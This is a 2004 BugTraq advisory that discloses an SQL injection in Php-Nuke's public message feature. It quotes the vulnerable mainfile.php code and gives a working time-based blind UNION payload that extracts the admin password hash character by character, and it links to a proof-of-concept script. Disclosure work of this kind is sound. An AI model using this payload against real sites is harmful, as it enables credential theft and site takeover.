BugTraq
[waraxe-2004-SA#003] - SQL injection in Php-Nuke 7.1.0 Feb 08 2004 08:15PM
Janek Vind (come2waraxe yahoo com)


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{ [waraxe-2004-SA#003] }

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{ [ SQL injection in Php-Nuke 7.1.0 ] }

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Author: Janek Vind "waraxe"

Date: 08 Feb 2004

Location: Estonia, Tartu

Affected software description:

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Php-Nuke is popular freeware content management system, written in php by

Francisco Burzi. This CMS (Content Management System) is used on many thousands

websites, because it`s free of charge, easy to install and has broad set of features.

Homepage: http://phpnuke.org

Vulnerabilities:

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Php-Nuke 6.x-7.1.0 (maybe older too) have feature called "public message" alias

"broadcast message". There exists serious SQL Injection bug in implementation code of

this feature, which can lead to stealing of sensitive data from database, including

admin`s username and password md5 hash and finally to total overtaking of the site.

Exploit:

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Let`s look at original code from "/mainfile.php" function "public_message()":

if (!is_user($user) OR (is_user($user) AND ($pm_show == 1))) {

$c_mid = base64_decode($p_msg);

$sql = "SELECT mid, content, date, who FROM ".$prefix."_public_messages WHERE mid > '$c_mid' ORDER BY date ASC LIMIT 1";

$result = $db->sql_query($sql);

$row = $db->sql_fetchrow($result);

We can deliver the variable $p_msg by GET, POST or COOKIE parameter and because the Php-Nuke will

make force all GPC variables to be global, it will work even with "register_globals = Off";

Now comes the funniest part - because $c_mid will be derived from base64_decoded string, then we

can have unescaped single slashes, delivered directly to SQL query, and "magic_quotes_gpc = On" can`t

do anything about that!!

How can we use this to do something useful (from the point of attacker)? If the MySQL has version

4.x, then answer is: unions.

Consider this example:

$c_mid = x'UNION SELECT null,null,null,pwd FROM nuke_authors WHERE name='God'

AND IF(mid(pwd,1,1)='0',benchmark(200000,md5('woot')),1)/*

which will be finally:

SELECT

mid, content, date, who

FROM

nuke_public_messages

WHERE

mid > 'x'

UNION

SELECT

null,null,null,pwd

FROM

nuke_authors

WHERE name='God'

AND

IF

(mid(pwd,1,1)='0',benchmark(200000,md5('woot')),1)/*

' ORDER BY date ASC LIMIT 1

This method is so called "blind fishing", where we can get information from database

byte by byte, and it will work WITHOUT visual feedback from script. In our example,

if first char of the superadmin`s password md5 hash is '0', then the page generation

will be delayed for some seconds. If it`s not '0', then we have normal page

generation time and we can try next char - in this case '1'.

I wrote for proof of concept perl script, which can be found at:

http://www.zone.ee/waraxe/sa003/bcast.pl.php

Greetings:

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Greets to ulljobu, djzone, raider and to all white-, gray-, and blackhats in Estonia!

Contact:

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come2waraxe (at) yahoo (dot) com [email concealed]

Janek Vind "waraxe"

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